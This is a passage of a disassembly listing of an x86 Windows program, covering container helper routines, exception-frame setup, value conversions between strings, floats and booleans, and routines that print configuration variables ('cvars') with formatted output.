dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AAC0 proc near ; CODE XREF: sub_4013D9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40AB8B mov ecx, esi call sub_4011F9 cmp edi, eax jnb short loc_40AAF3 mov ecx, esi call sub_4011F9 mov ebp, eax jmp short loc_40AAF5 ; --------------------------------------------------------------------------- loc_40AAF3: ; CODE XREF: sub_40AAC0+26j mov ebp, edi loc_40AAF5: ; CODE XREF: sub_40AAC0+31j mov ecx, esi call sub_4011F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401DE8 ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4010CD mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_402194 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019B5 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AB8B: ; CODE XREF: sub_40AAC0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40ABE9 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_402194 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E8D mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40ABE9: ; CODE XREF: sub_40AAC0+D8j test edi, edi jbe short loc_40AC23 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_4020CC mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E8D mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40AC23: ; CODE XREF: sub_40AAC0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40AAC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AC90 proc near ; CODE XREF: sub_4018C0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40AC90 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACB0 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40ACE2 push edi mov edi, [esp+10h+arg_8] loc_40ACC6: ; CODE XREF: sub_40ACB0+27j push esi push edi mov ecx, ebx call sub_40213F add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40ACC6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40ACE2: ; CODE XREF: sub_40ACB0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40ACB0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD00 proc near ; CODE XREF: sub_402194j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40AD27 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40AD16: ; CODE XREF: sub_40AD00+23j push ebx push esi mov ecx, ebp call sub_40213F add esi, 4 dec edi jnz short loc_40AD16 pop esi pop ebx loc_40AD27: ; CODE XREF: sub_40AD00+Aj pop edi pop ebp retn 0Ch sub_40AD00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AD40 proc near ; CODE XREF: sub_401DE8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4014D8 sub_40AD40 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD70 proc near ; CODE XREF: sub_40213Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401E01 add esp, 8 retn 8 sub_40AD70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADA0 proc near ; CODE XREF: sub_401E8Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40ADBD mov edx, [esp+arg_8] push esi loc_40ADB1: ; CODE XREF: sub_40ADA0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40ADB1 pop esi locret_40ADBD: ; CODE XREF: sub_40ADA0+Aj retn sub_40ADA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADD0 proc near ; CODE XREF: sub_4020CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40ADF2 mov eax, [esp+arg_8] push esi loc_40ADE1: ; CODE XREF: sub_40ADD0+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40ADE1 pop esi retn ; --------------------------------------------------------------------------- loc_40ADF2: ; CODE XREF: sub_40ADD0+Aj mov eax, [esp+arg_8] retn sub_40ADD0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AE30 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40AE3A xor eax, eax loc_40AE3A: ; CODE XREF: sub_40AE30+6j shl eax, 2 push eax call sub_437AEA sub_40AE30 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE60 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40AE7B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40AE7B: ; CODE XREF: sub_40AE60+11j retn sub_40AE60 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE90 proc near ; CODE XREF: sub_401E88j mov eax, ecx mov dword ptr [eax], offset off_43F014 retn sub_40AE90 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AEB0: ; CODE XREF: ___:00401721j ; ___:loc_402045j push esi mov esi, ecx call sub_40204F test byte ptr [esp+8], 1 jz short loc_40AEC8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40AEC8: ; CODE XREF: ___:0040AEBDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEE0 proc near ; CODE XREF: sub_40204Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AEE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_43F014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_40174E loc_40AF11: ; DATA XREF: sub_40AF22o mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AEE0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF22 proc near ; DATA XREF: ___:004401C4o mov eax, offset loc_40AF11 retn sub_40AF22 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF50 proc near ; CODE XREF: sub_4014C4j call sub_401712 jmp sub_4017BC sub_40AF50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF70 proc near ; CODE XREF: sub_401B2Cj call sub_401627 jmp sub_4017CB sub_40AF70 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF90 proc near ; CODE XREF: sub_4013DEj push esi mov esi, ecx push esi push offset sub_401429 lea eax, [esi+0Ch] push 0 push eax call sub_40123A add esp, 10h test eax, eax jnz short loc_40AFB2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AFB2: ; CODE XREF: sub_40AF90+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AF90 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AFD0: ; CODE XREF: ___:004011C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AFF7 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_401767 mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40AFF7: ; CODE XREF: ___:0040AFD9j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B010 proc near ; CODE XREF: sub_40174Ej push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B02C mov eax, [esi+0Ch] push 0Fh push eax call sub_401762 add esp, 8 mov byte ptr [esi+10h], 0 loc_40B02C: ; CODE XREF: sub_40B010+8j pop esi retn sub_40B010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B040: ; CODE XREF: ___:004011F4j mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B060 proc near ; CODE XREF: sub_401429j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40B060 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] loc_40B08E: ; DATA XREF: sub_40B0A1o mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40B060 endp ; =============== S U B R O U T I N E ======================================= sub_40B0A1 proc near ; DATA XREF: ___:00440224o mov eax, offset loc_40B08E retn sub_40B0A1 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B0D0 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B112 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_4021B2 mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_401050 add esp, 18h loc_40B112: ; CODE XREF: sub_40B0D0+Bj pop esi add esp, 8 retn sub_40B0D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B140 proc near ; CODE XREF: sub_401DE3j var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40B162 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_401050 add esp, 0Ch loc_40B162: ; CODE XREF: sub_40B140+6j pop ecx retn sub_40B140 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B180 proc near ; CODE XREF: sub_401A00j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B180 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_401753 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401C08 sub_40B180 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 3 mov dword ptr [esi], offset off_43F020 call sub_401C03 mov ecx, [esp+10h] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B240 proc near ; CODE XREF: sub_401AFAj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B240 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_43F020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401C03 mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_40155F sub_40B240 endp ; --------------------------------------------------------------------------- lea ecx, [esi+60h] mov byte ptr [esp+14h], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+0Ch] pop edi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B2E0 proc near ; CODE XREF: sub_4017F8j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B2E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401C03 push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_40B2E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+24h] push 3 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+3Ch] push 3 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- mov dword ptr [esp+3Ch], 0FFFFFFFFh lea ecx, [esp+1Ch] call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B460 proc near ; CODE XREF: sub_40181Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401FDC mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401FDC mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401F50 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401FDC lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_401915 sub_40B460 endp ; --------------------------------------------------------------------------- pop edi pop esi retn 1Ch ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B500 proc near ; CODE XREF: sub_401B72j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_40B500 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_401870 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_401870 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_401870 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_40181B sub_40B500 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov byte ptr [esp+5Ch], 1 call sub_401226 lea ecx, [esp+24h] mov byte ptr [esp+5Ch], 0 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+5Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+54h] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B5F0 proc near ; CODE XREF: sub_4019DDj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401546 add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_40145B mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401C85 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jz short loc_40B671 mov edi, [esp+10h+arg_0] loc_40B636: ; CODE XREF: sub_40B5F0+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401F78 mov ecx, [eax] add ecx, 1Eh call sub_4021D0 test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B67B call sub_40133E lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401C85 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jnz short loc_40B636 loc_40B671: ; CODE XREF: sub_40B5F0+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B67B: ; CODE XREF: sub_40B5F0+60j call sub_401F78 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B5F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B6C0: ; CODE XREF: ___:00401460j push 0FFFFFFFFh push offset loc_439EF8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_401870 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4019DD lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B750 proc near ; CODE XREF: sub_4015A0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4015E1 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B7A1 mov byte ptr [esi+19h], 1 loc_40B7A1: ; CODE XREF: sub_40B750+4Bj pop esi retn 8 sub_40B750 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B7D0 proc near ; CODE XREF: sub_401F50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_4015E1 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B825 mov byte ptr [esi+19h], 1 loc_40B825: ; CODE XREF: sub_40B7D0+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B7D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B860: ; CODE XREF: ___:00401D57j fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push offset aF ; "%f" push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_4017EE push eax nop call near ptr 77C1BF18h fld dword ptr [esp+10h] fcomp flt_43F024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B8B1 mov byte ptr [esi+19h], 1 loc_40B8B1: ; CODE XREF: ___:0040B8ABj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B8E0: ; CODE XREF: ___:00401CA8j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B910 mov esi, [esp+0Ch] push offset aTrue ; "true" mov ecx, esi call sub_4015E1 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B910: ; CODE XREF: ___:0040B8E8j mov esi, [esp+0Ch] push offset aFalse ; "false" mov ecx, esi call sub_4015E1 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B950: ; CODE XREF: ___:00401D7Fj push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push offset dword_4447F4 push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B980 mov byte ptr [esi+19h], 1 loc_40B980: ; CODE XREF: ___:0040B97Aj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B9A0: ; CODE XREF: ___:loc_401AE1j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_439F30 push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BAE2 lea ebx, [esi+69h] mov ecx, ebx call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aCvar ; "(cvar)" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+6Ch] call sub_401546 add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_40145B mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401C85 push eax lea ecx, [esp+70h] call sub_40136B test al, al jz loc_40BADB loc_40BA46: ; CODE XREF: ___:0040BAD5j lea ecx, [esp+6Ch] inc edi call sub_401F78 mov ecx, [eax] add ecx, 33h call sub_4017EE push eax lea ecx, [esp+70h] call sub_401F78 mov ecx, [eax] call sub_4017EE push eax lea ecx, [esp+74h] call sub_401F78 mov ecx, [eax] add ecx, 1Eh call sub_4017EE push eax push edi push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")" mov ecx, ebx call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 24h push 5DCh call near ptr 2830386h nop lea ecx, [esp+6Ch] call sub_40133E lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401C85 push eax lea ecx, [esp+70h] call sub_40136B test al, al jnz loc_40BA46 loc_40BADB: ; CODE XREF: ___:0040BA40j mov al, 1 jmp loc_40BC6A ; --------------------------------------------------------------------------- loc_40BAE2: ; CODE XREF: ___:0040B9D7j lea ecx, [ebp+32h] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40BB75 push offset asc_444600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016B8 push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4019DD lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BC68 mov ecx, edi call sub_4017EE push eax lea ecx, [edi+1Eh] call sub_4017EE push eax push offset aSS_5 ; "%s = \"%s\"" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 1Ch jmp loc_40BC6A ; --------------------------------------------------------------------------- loc_40BB75: ; CODE XREF: ___:0040BAF4j lea ecx, [ebp+60h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BC68 push offset asc_444600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016B8 push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 1 call sub_4019DD lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BC68 push edi lea ecx, [esp+18h] call sub_4014D3 mov ebx, 2 push 1 push offset asc_444600 ; " " lea 